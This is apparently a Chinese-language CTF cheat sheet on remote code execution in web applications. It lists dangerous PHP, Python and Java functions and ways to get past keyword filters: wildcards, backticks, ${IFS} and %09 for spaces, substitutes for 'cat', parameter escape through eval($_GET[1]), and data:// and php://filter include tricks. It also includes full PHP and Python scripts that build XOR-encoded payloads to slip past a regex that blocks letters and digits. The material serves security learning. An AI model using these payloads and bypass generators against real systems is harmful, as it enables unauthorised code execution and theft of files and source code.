RCE漏洞

常见RCE漏洞函数

  • PHP

    • 代码执行函数:eval(), assert(), preg_replace(), create_function(), array_map(), call_user_func(), call_user_func_array(), array_filter(), uasort()等。

    • 命令执行函数:system(), exec(), shell_exec(), pcntl_exec(), popen(), proc_popen, passthru()等。

    • 两者可以相互转换,如代码执行传入 system (ls) 转化为命令执行;命令执行也可以转化为代码执行 (如使用 php 或 python 环境变量执行代码)

  • Python

    • eval, exec, subprocess, os.system, commands
  • Java

    • Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数,但是有反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL、SpEL、MVEL等。

关键字过滤绕过

  1. 通配符
*:代表一个或多个字符。
?:代表任意 1 个字符。

  1. 转义符号

  1. 空变量
$*, $@, $x,${x},因为没有变量没有定义,所以相当于空变量

  1. 拼接法

  1. 反引号
Linux会先执行被反引号包裹的内容。

cat `ls` # 如此处先执行ls返回flag,然后语句就拼接成为 cat flag
  1. 编码
  • 将关键字进行编码,传入命令时,解码为我们需要的值。

  1. 组合绝活
touch "ag"
touch "fl\\"
touch "t \\"
touch "ca\\"
ls -t >shell
sh shell

// \ 指的是换行
// ls -t 是将文本按时间排序输出
// ls -t >shell 将输出输入到 shell 文件中
// sh 将文本中的文字读取出来执行, 虽然有报错,但是shell命令还是会进行执行
  1. rce-xor(重点)

如有下面这样一个 php 过滤页面:

<?php
error_reporting(0); // 不报错,不显示任何报错
highlight_file(__FILE__);
$code=$_GET['code'];
if(preg_match('/[a-z0-9]/i',$code)){ // 过滤所有字母和数字
die('hacker');
}
eval($code);

过滤了所有字母和数字,这种情况可以使用异或脚本绕过:

//rce-xor.php

<?php
$myfile = fopen("res.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);
//rce-xor.py

import requests
import urllib
from sys import *
import os


def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("res.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"^\"" + s2 + "\")"
return (output)


while True:
param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
print(param)

使用时先根据题目的正则修改 php 中的正则表达式,将运行后生成的 txt 文件放置到对应 py 文件的目录下,运行 py 文件来生成自己想要执行的函数和命令。将生成的 payload 传入接收参数的变量 code。

  1. 命令关键词被过滤(如 cat tac 等)
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 taccat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器
vim:一种编辑器
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容
curl file:///root/f/flag 使用file伪协议读取本地文件
strings flag
uniq -c flag
bash -v flag
rev flag
  1. 空格被过滤
%09(url传递)(cat%09flag.php)
cat${IFS}flag
{cat,flag} //{commond,arg},第一个参数为要执行的命令,后面的参数是传入命令的参数
  1. 参数逃逸
eval($_GET[1]);&1=system('tac flag.php');
  1. 搭配文件包含和伪协议
include $_GET[a]?>&a=data://text/plain,<?php system('ver');?>

include $_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=index.php